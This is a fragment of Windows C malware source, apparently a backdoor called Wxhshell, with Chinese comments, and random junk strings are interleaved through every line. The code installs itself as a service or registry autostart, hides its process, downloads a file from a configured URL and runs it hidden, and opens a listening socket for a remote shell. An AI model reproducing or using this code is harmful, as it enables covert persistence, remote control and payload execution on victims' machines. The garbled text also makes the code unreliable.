GtH<0Du n_meJm. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BZshTP[` 5xUPqW%3 CloseHandle(hProcess); y<(.,Nb8 ;f~'7RKy!G if(strstr(procName,"services")) return 1; // 以服务启动 %TgM-F,8 vy?YA- return 0; // 注册表启动 0O4mA&&!oK } EtGr&\, .r'.5RI A // 主模块 \0*LfVr;P int StartWxhshell(LPSTR lpCmdLine) a$:N9&P { c'R|Wyf SOCKET wsl; v4aGL<SO BOOL val=TRUE; #JucOWxjY int port=0; i( HhL& struct sockaddr_in door; +-d>Sl ( 8:NHPHxB if(wscfg.ws_autoins) Install(); )wd~639U 4*X$Jle| port=atoi(lpCmdLine); s.
[${S6O S5TT if(port<=0) port=wscfg.ws_port; WpZ^R;eK d*HAKXd&:j WSADATA data; Lp=B? H if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]S ,GHPEN v^G5
N)F if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yr'`~[oSCy setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DmsloPB?_ door.sin_family = AF_INET; {o`5&EoM door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6I0MJpLW door.sin_port = htons(port); jN0v<_PJED r1]^#&V;MC if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |0-L08DW closesocket(wsl); Ipx:k+J return 1; _P:P5H8 } ~Y[1Me fHi+PEbR if(listen(wsl,2) == INVALID_SOCKET) { qFk(UazN closesocket(wsl); ^*OA%wg3=h return 1; &IYkeGQr } $@Fj_
N Wxhshell(wsl); 6"(&lK\^ WSACleanup(); hlZjk0ez J:a^'' return 0; VK#zmEiB \Wk$>?+#@ } x!+a,+G PdZSXP4;k // 以NT服务方式启动 P.Bk-#}$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *#_jTwQe { XQA2uR4h DWORD status = 0; :.,I4>b2 DWORD specificError = 0xfffffff; W +E2({ `UR.Rn/x serviceStatus.dwServiceType = SERVICE_WIN32; mfvQ]tz_+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; h!
<8=V( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vY6|V$ serviceStatus.dwWin32ExitCode = 0; P$bo8* serviceStatus.dwServiceSpecificExitCode = 0; Sy_M!`B serviceStatus.dwCheckPoint = 0; J98K:SAR serviceStatus.dwWaitHint = 0; XN@5TZoaW oS4ag hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BG"6jQh if (hServiceStatusHandle==0) return; G r)+O ;/.Z YTD status = GetLastError(); q3:tZoeXV if (status!=NO_ERROR) ~>n<b1}W { y[cAU:P? serviceStatus.dwCurrentState = SERVICE_STOPPED; -vyC,A serviceStatus.dwCheckPoint = 0; ?=l(29tH serviceStatus.dwWaitHint = 0; =ZQIpc serviceStatus.dwWin32ExitCode = status; y}VKFRky serviceStatus.dwServiceSpecificExitCode = specificError; Jj!T7f*-GX SetServiceStatus(hServiceStatusHandle, &serviceStatus); '&Ku Ba return; (:1j- } Vk"QcW = 4If7 serviceStatus.dwCurrentState = SERVICE_RUNNING; [ ,dsVd serviceStatus.dwCheckPoint = 0; :MVD83?4 serviceStatus.dwWaitHint = 0; a'Z"Yz^Eo if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ktCh*R[` } ~VOmMw4HV G4i&:0 // 处理NT服务事件,比如:启动、停止 &}]Wbk4:
VOID WINAPI NTServiceHandler(DWORD fdwControl) #L"h>,b { ,oCr6 ] switch(fdwControl) xiI!_0' { Umqm5*P( case SERVICE_CONTROL_STOP: 3eB2=_V` serviceStatus.dwWin32ExitCode = 0; iG;6e~p serviceStatus.dwCurrentState = SERVICE_STOPPED; 2eNm2; serviceStatus.dwCheckPoint = 0; Pw")|85 serviceStatus.dwWaitHint = 0; <ANKoPNie { z|9 ^T@) SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Xm'(c( } . &e,8 return; gnv4.f: case SERVICE_CONTROL_PAUSE: Zy'bX* s| serviceStatus.dwCurrentState = SERVICE_PAUSED; c[5>kQ-nq break; Z'EZ PuZ!' case SERVICE_CONTROL_CONTINUE: yY1&hop serviceStatus.dwCurrentState = SERVICE_RUNNING; .(sT?M`\J break; a7+BAma< case SERVICE_CONTROL_INTERROGATE: xkX,
l{6 break; (]ORB0kl }; ^}WeBU SetServiceStatus(hServiceStatusHandle, &serviceStatus); }, ]W/ } W4N$]D= X\ h]N // 标准应用程序主函数 39OZZaWL int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -X |G { `Z{7Ut^) xT@\FwPr // 获取操作系统版本 |h.he_B+7 OsIsNt=GetOsVer(); k\EMO\je GetModuleFileName(NULL,ExeFile,MAX_PATH); @A)gsDt9A [p]Ayo$~ // 从命令行安装 6Up,B=sX0 if(strpbrk(lpCmdLine,"iI")) Install(); %3q@\:s 0s4%22 // 下载执行文件 tUtl>>6Iu if(wscfg.ws_downexe) { u~G,=n if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZJ!/49c*> WinExec(wscfg.ws_filenam,SW_HIDE); ^UJO( } r:u5+A JK_sl>v.7 if(!OsIsNt) { nOOA5Gz // 如果时win9x,隐藏进程并且设置为注册表启动 -8-Aqh8| HideProc(); ^7(zoUn: StartWxhshell(lpCmdLine); aeSXHd?+( } 4Jw0m#UN1 else t.]oLG22r if(StartFromService()) I@[.W!w // 以服务方式启动 -tDmzuD6 StartServiceCtrlDispatcher(DispatchTable); /9[nogP else 9#1lxT4% // 普通方式启动
`/#6k> StartWxhshell(lpCmdLine); x5{ zGv.j '*22j ] return 0; Ua(!:5q? }
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